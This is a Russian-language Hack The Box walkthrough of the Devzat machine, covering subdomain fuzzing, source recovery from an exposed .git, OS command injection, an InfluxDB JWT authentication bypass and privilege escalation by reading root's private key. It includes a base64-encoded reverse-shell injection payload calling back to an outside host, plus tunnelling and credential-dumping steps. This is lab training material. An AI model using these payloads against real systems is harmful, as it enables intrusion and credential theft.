March 23, 2022

Пентестим веб-сервер и эксплуатируем InfluxDB

В этой статье я покажу, как искать скры­тые катало­ги и домены на сай­тах, затем мы про­экс­плу­ати­руем инъ­екцию команд, что­бы получить дос­туп к хос­ту, ата­куем InfluxDB при помощи готово­го экс­пло­ита, а потом раз­берем­ся, как зас­тавить кон­соль­ное при­ложе­ние выдать нам кри­тичес­ки важ­ную инфу.

Все перечис­ленное мы будем про­делы­вать на машине Devzat с пло­щад­ки Hack The Box. Уро­вень ее слож­ности ука­зан как сред­ний.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.118 devzat.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Мы наш­ли три откры­тых пор­та:

  • 22 — служ­ба OpenSSH 8.2p1;
  • 80 — веб‑сер­вер Apache 2.4.41;
  • 8000 — опре­деля­ется как SSH.

Справка: брутфорс учеток

Пос­коль­ку вна­чале у нас нет учет­ных дан­ных, нет и смыс­ла изу­чать служ­бы, которые всег­да тре­буют авто­риза­ции (нап­ример, SSH). Единс­твен­ное, что мы можем делать здесь, — переби­рать пароли брут­форсом, но машины с HTB поч­ти всег­да мож­но прой­ти дру­гим спо­собом. В жиз­ни таких вари­антов может не быть, к тому же есть шан­сы подоб­рать пароль или получить его при помощи соци­аль­ной инже­нерии.

Пос­коль­ку на SSH нам делать нечего, будем изу­чать дос­тупный веб‑сайт.

Глав­ная стра­ница сай­та

На глав­ной стра­нице встре­чаем опи­сание мес­сен­дже­ра Devzat, а прой­дя чуть ниже — и опи­сание спо­соба под­клю­чения.

Инс­трук­ция, как под­клю­чить­ся к мес­сен­дже­ру

ssh -l ralf devzat.htb -p 8000

Спи­сок дос­тупных команд

Ни получе­ние спис­ка поль­зовате­лей, ни какие‑либо сооб­щения ничего нам не дают. Поэто­му перей­дем к активно­му ска­ниро­ванию веба.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearchи DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -fc — исклю­чить из резуль­тата отве­ты с кодом 403.

Ко­ман­да получа­ется сле­дующая:

ffuf -u 'http://devzat.htb/FUZZ' -t 256 -w directory_2.3_medium_lowercase.txt

Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf

И ничего инте­рес­ного.

ТОЧКА ВХОДА

По­мимо скры­тых катало­гов, нуж­но прос­каниро­вать и вир­туаль­ные хос­ты (под­домены). Исполь­зуем тот же ffuf. Для это­го мы будем переби­рать HTTP-заголо­вок Host (параметр -H). Пос­коль­ку ответ на все зап­росы будет вклю­чать десять строк, отфиль­тру­ем их из резуль­тата (параметр -fl)

ffuf -u 'http://devzat.htb' -t 256 -H 'Host: FUZZ.devzat.htb' -w subdomains-top1million-110000.txt -fl 10

Ре­зуль­тат ска­ниро­вания под­доменов с помощью ffuf

И находим новый под­домен. Добавим его в файл /etc/hosts.

10.10.11.118 devzat.htb pets.devzat.htb

Глав­ная стра­ница сай­та pets.devzat.htb

На стра­нице есть кое‑какие зап­росы сер­верных фун­кций, но все рав­но сто­ит прос­каниро­вать скры­тые фай­лы и катало­ги. При воз­никно­вении ошиб­ки 404 каж­дый раз будет воз­вра­щать­ся кас­томная стра­ница, поэто­му исклю­чим эти отве­ты из конеч­ного резуль­тата. Будем филь­тро­вать по объ­ему стра­ницы (параметр -fs).

ffuf -u 'http://pets.devzat.htb/FUZZ' -t 256 -w files_interesting.txt -fs 510

Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf

И находим каталог .git. Он дол­жен открыть нам исходные коды. Что­бы заг­рузить его, исполь­зуем ути­литу Rip-Git из набора dvcs-ripper.

rip-git.pl -v -u http://pets.devzat.htb/.git/

Заг­рузка дан­ных из репози­тория Git

От­крыв глав­ный файл main.go, сра­зу находим уяз­вимую фун­кцию loadCharacter (стро­ка 40).

Ис­ходный код фун­кции

В этой фун­кции поль­зователь­ский ввод без допол­нитель­ной филь­тра­ции под­став­ляет­ся в качес­тве аргу­мен­та коман­дной стро­ки, а это — уяз­вимость OS Command Injection.

ТОЧКА ОПОРЫ

От­пра­вим зап­рос на добав­ление записи на сай­те и перех­ватим его с помощью Burp.

Из­менен­ный зап­рос

На локаль­ном хос­те акти­виру­ем tcpdump и про­верим, при­шел ли зап­рос.

sudo tcpdump -i tun0 icmp

Ло­ги tcpdump

Ко­ман­да успешно выпол­нена, а это зна­чит, что мож­но кидать реверс‑шелл. Есть очень удоб­ный онлайн‑генера­тор шел­лов — Reverse Shell Generator. Нуж­но ука­зать лишь локаль­ный адрес, порт и тип реверс‑шел­ла, а он вер­нет нам две коман­ды: для запус­ка лис­тенера и для соз­дания обратно­го под­клю­чения. Вдо­бавок есть раз­ные вари­анты кодиро­вания шел­ла.

Ге­нери­рова­ние шел­ла bash

За­пус­каем лис­тенер и отправ­ляем коман­ду для соз­дания реверс‑шел­ла. Я обер­нул его в Base64, что­бы избе­жать исполь­зования сим­волов, которые веб‑сер­вер может трак­товать по‑раз­ному.

{ "name":"test3", "species":"cat;echo -n L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40MS80MzIxIDA+JjE=|base64 -d |bash"}

Зап­рос для соз­дания реверс‑шел­ла
Бэк­коннект от сер­вера

Мы получа­ем дос­туп к хос­ту с минималь­ными при­виле­гиями.

ПРОДВИЖЕНИЕ

Что­бы нащупать воз­можнос­ти для повыше­ния при­виле­гий, будем исполь­зовать скрип­ты PEASS.

Справка: скрипты PEASS для Linux (загрузка через Python и Wget)

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате.

Что­бы вос­поль­зовать­ся скрип­том, его нуж­но сна­чала заг­рузить на локаль­ный хост.

wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh

Те­перь надо заг­рузить его на уда­лен­ный хост. В дирек­тории со скрип­том на локаль­ной машине запус­тим с помощью Python прос­той веб‑сер­вер. Пос­ле выпол­нения этой коман­ды веб‑сер­вер будет прос­лушивать порт 8000.

python3 -m http.server

А теперь с помощью того же wget на целевой машине заг­рузим скрипт с локаль­ного хос­та на уда­лен­ный. Пос­ле заг­рузки необ­ходимо дать фай­лу пра­во на выпол­нение и выпол­нить скрипт.

wget http://[ip_локального_хоста]:8000/linpeas.sh chmod +x linpeas.sh ./linpeas.sh

Вы­вод огромный, но для себя отме­тим два важ­ных раз­дела: спи­сок про­цес­сов и спи­сок прос­лушива­емых пор­тов.

Спи­сок про­цес­сов
Спи­сок откры­тых пор­тов

Уз­наем, что тра­фик прок­сиру­ется через порт 8086, сто­ит прос­мотреть, что там. Для прок­сирова­ния будем исполь­зовать инс­тру­мент chisel. Запус­каем у себя на локаль­ном хос­те сер­вер, ожи­дающий под­клю­чения к пор­ту 5432.

./chisel server -p 5432 --socks5 --reverse

Лог сер­вера

Как опи­сано в справ­ке выше, заг­ружа­ем на хост вер­сию chisel для Linux и под­клю­чаем­ся, тран­сли­руя весь тра­фик с пор­та 8086 локаль­ного хос­та на тот же порт уда­лен­ного. В логах сер­вера уви­дим сооб­щение об успешном под­клю­чении кли­ента.

./chisel.bin client 10.10.14.41:5432 R:8086:127.0.0.1:8086

Лог кли­ента
Со­обще­ние об уста­нов­ленном соеди­нении

Те­перь у нас работа­ет тун­нель SOCKS5. Прос­каниру­ем най­ден­ный порт с помощью Nmap:

nmap -p8086 -A 127.0.0.1

Ре­зуль­тат ска­ниро­вания пор­та

Nmap вывел нам заголо­вок, из которо­го мы узна­ем, что исполь­зует­ся InfluxDB вер­сии 1.7.5. Зная точ­ную вер­сию про­дук­та, сто­ит сра­зу поис­кать готовые экс­пло­иты.

Справка: поиск готовых эксплоитов

При пен­тесте луч­ше все­го искать экс­пло­иты в Google, пос­коль­ку этот поис­ковик заг­лядыва­ет и в лич­ные бло­ги, и в самые раз­ные отче­ты. Уско­рят дело спе­циали­зиро­ван­ные базы вро­де Exploit-DB — там час­то мож­но обна­ружить под­ходящие вари­анты. Если ты работа­ешь в спе­циали­зиро­ван­ной ОС вро­де Kali Linux, то эта база у тебя уже есть и для поис­ка мож­но исполь­зовать ути­литу searchsploit.

По­иск экс­пло­итов в Google

Мы находим ре­пози­торий с экс­пло­итом для нуж­ной вер­сии InfluxDB. Этот код экс­плу­ати­рует уяз­вимость, которая зак­люча­ется в обхо­де аутен­тифика­ции, воз­можной из‑за ошиб­ки в реали­зации JWT: мож­но исполь­зовать пус­той сек­рет. Пер­вым делом экс­пло­ит переби­рает име­на поль­зовате­лей, для это­го он зат­ребу­ет соот­ветс­тву­ющий сло­варь.

За­пуск экс­пло­ита

Ког­да будет най­ден под­ходящий поль­зователь, будут выведе­ны базы дан­ных. Исполь­зуем юзе­ра devzat.

Вы­бор базы дан­ных

По­лучим все дан­ные из таб­лицы user.

По­луче­ние дан­ных из таб­лицы user

Мы наш­ли кое‑какие пароли. Про­буем их для сме­ны юзе­ра в сис­теме, находим под­ходящую учет­ку и забира­ем пер­вый флаг.

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Те­перь нам нужен флаг рута. Для удобс­тва под­клю­чим­ся по SSH. У нас изме­нил­ся кон­текст поль­зовате­ля, поэто­му сно­ва про­ведем раз­ведку на хос­те. Пов­торно запус­каем LINPEAS.

В спис­ке дос­тупных для записи фай­лов обна­ружи­ваем два архи­ва исходни­ков devzat.

Спи­сок фай­лов, дос­тупных для записи

А по спис­ку про­цес­сов и откры­тым пор­там дела­ем вывод, что devzat запущен для локаль­ного хос­та, при этом от име­ни root.

Спи­сок про­цес­сов
Спи­сок прос­лушива­емых пор­тов

Ска­чаем обе вер­сии архи­ва, рас­паку­ем и прос­мотрим, какие фай­лы отли­чают­ся. Сде­лать это мож­но, срав­нивая хеши.

Хе­ши исходных кодов прог­раммы

Файл commands.go в dev-вер­сии был изме­нен. Прос­мотрим раз­личия в фай­лах с помощью diff.

Раз­личия в фай­лах commands.go

В вер­сии dev появи­лась новая коман­да file. Ее реали­зацию мы най­дем ниже.

Раз­личия в фай­лах commands.go

Как видишь, у нас есть воз­можность про­читать любой файл в сис­теме, пре­дос­тавив ука­зан­ный пароль. Под­клю­чим­ся к локаль­ному чату и прос­мотрим спи­сок команд.

ssh -l ralf localhost -p 8443

Ко­ман­да /commands

Ко­ман­да file при­сутс­тву­ет, что дает нам воз­можность про­читать вооб­ще любой файл, учи­тывая, что devzat работа­ет в при­виле­гиро­ван­ном кон­тек­сте. Поэто­му чита­ем при­ват­ный ключ поль­зовате­ля root.

При­ват­ный ключ поль­зовате­ля

А теперь под­клю­чим­ся с этим клю­чом и заберем флаг.

Флаг рута

Ма­шина зах­вачена.


the Matrix

Наши проекты:

- Канал о хакинге: /me Hacker

- Канал о кодинге: the Coding

- Теневой канал: DarkTron